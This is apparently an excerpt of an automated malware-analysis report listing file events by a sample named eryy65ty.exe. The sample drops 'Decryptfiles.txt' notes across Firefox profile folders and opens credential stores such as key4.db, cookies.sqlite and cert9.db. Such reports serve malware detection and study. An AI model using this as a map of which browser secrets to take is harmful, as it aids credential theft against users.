Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\archived\2023-10\1696503513605.0b8e5024-43d9-4b29-8d44-b2128589e9a6.health.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\archived\2023-10\1696503513624.2fefa2f4-1344-4424-9531-b97121e6ea8b.main.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\archived\2023-10\1696503513624.2fefa2f4-1344-4424-9531-b97121e6ea8b.main.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\archived\2023-10\1696503526248.6239d2a9-a75b-4d04-9f02-ff51a9a6c67a.health.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\archived\2023-10\1696503526304.990f4e28-a3dc-4bee-aaf9-f7f8e123be93.event.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\archived\2023-10\1696503526304.990f4e28-a3dc-4bee-aaf9-f7f8e123be93.event.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\archived\2023-10\1696503526304.da35b044-d579-4545-b54a-ea539a7ed843.health.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\glean\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\archived\2023-10\1696503526318.6a4e4327-b79e-4529-8bcb-d12b80df7ecc.main.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\archived\2023-10\1696503526318.6a4e4327-b79e-4529-8bcb-d12b80df7ecc.main.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\glean\db\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\glean\events\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\glean\db\data.safe.bin
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\glean\db\data.safe.bin
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\glean\events\events
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\glean\pending_pings\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\glean\pending_pings\00002405-14fb-41bf-96fc-1151abf3a955
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\glean\tmp\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\glean\pending_pings\a355f32b-289e-4776-8e42-86a89b981f1a
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\state.json
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\ExperimentStoreData.json
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\ExperimentStoreData.json
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\extension-preferences.json
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\favicons.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\favicons.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\favicons.sqlite-wal.UzdA
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\handlers.json
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\minidumps\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\parent.lock.jxYh
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\permissions.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\pkcs11.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\places.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\places.sqlite-wal.KjnE
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\protections.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\protections.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\saved-telemetry-pings\ca69b6fc-ff9f-4d48-bb41-c9832fdd5179
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\saved-telemetry-pings\ca69b6fc-ff9f-4d48-bb41-c9832fdd5179
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\saved-telemetry-pings\d6fc6761-8dca-414d-bcd1-bdb2a6101c74
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\saved-telemetry-pings\d6fc6761-8dca-414d-bcd1-bdb2a6101c74
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\saved-telemetry-pings\e8b29a6f-8340-4314-aa45-e868999caed9
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\search.json.mozlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\security_state\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\sessionCheckpoints.json
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\sessionstore-backups\upgrade.jsonlz4-20230927232528
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\sessionstore.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\SiteSecurityServiceState.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\default\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\permanent\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\permanent\chrome\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\ls-archive.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\ls-archive.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\permanent\chrome\.metadata-v2
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\permanent\chrome\idb\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.files\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.files\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite-wal.PYFm
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.files\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite-wal.xZgM
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\permanent\chrome\idb\2918063365piupsah.files\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite-wal.rqvf
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\permanent\chrome\idb\3561288849sdhlie.files\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite-wal.qkuv
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.files\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite-wal.HruA
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\temporary\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite-wal.NOmU
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\to-be-removed\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\targeting.snapshot.json
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\targeting.snapshot.json
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\Telemetry.FailedProfileLocks.txt.UCkL
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\webappsstore.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\webappsstore.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\webappsstore.sqlite-wal.Bvdi
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\c6rta27r.default\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\xulstore.json
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Stealing of Sensitive Information

barindex
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\permissions.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\glean\events\background-update
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\archived\2023-10\1696503498454.ca69b6fc-ff9f-4d48-bb41-c9832fdd5179.event.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\saved-telemetry-pings\ca69b6fc-ff9f-4d48-bb41-c9832fdd5179
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\glean\pending_pings\a355f32b-289e-4776-8e42-86a89b981f1a
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\compatibility.ini
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\sessionCheckpoints.json
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\archived\2023-10\1696503513571.e8b29a6f-8340-4314-aa45-e868999caed9.health.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\saved-telemetry-pings\e8b29a6f-8340-4314-aa45-e868999caed9
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\saved-telemetry-pings\1e2e5577-cac5-4055-93e4-8fa3b7876f3a
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\search.json.mozlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\glean\pending_pings\00002405-14fb-41bf-96fc-1151abf3a955
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\saved-telemetry-pings\63479b8a-b3f3-4e99-9b36-3d051426e737
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\archived\2023-10\1696503498461.1e2e5577-cac5-4055-93e4-8fa3b7876f3a.first-shutdown.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\session-state.json
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\handlers.json
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\favicons.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\archived\2023-10\1696503513624.2fefa2f4-1344-4424-9531-b97121e6ea8b.main.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\containers.json
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\ls-archive.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\content-prefs.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\parent.lock
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\archived\2023-10\1696503526304.990f4e28-a3dc-4bee-aaf9-f7f8e123be93.event.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\addons.json
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\cookies.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\permanent\chrome\.metadata-v2
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\saved-telemetry-pings\6239d2a9-a75b-4d04-9f02-ff51a9a6c67a
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\state.json
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\sessionstore-backups\previous.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\pkcs11.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\addonStartup.json.lz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\archived\2023-10\1696503513604.61a14900-8c70-4dde-805f-8a3f6d6f547f.event.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\archived\2023-10\1696503526318.6a4e4327-b79e-4529-8bcb-d12b80df7ecc.main.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\favicons.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\sessionstore.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\glean\events\events
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\places.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\sessionstore-backups\upgrade.jsonlz4-20230927232528
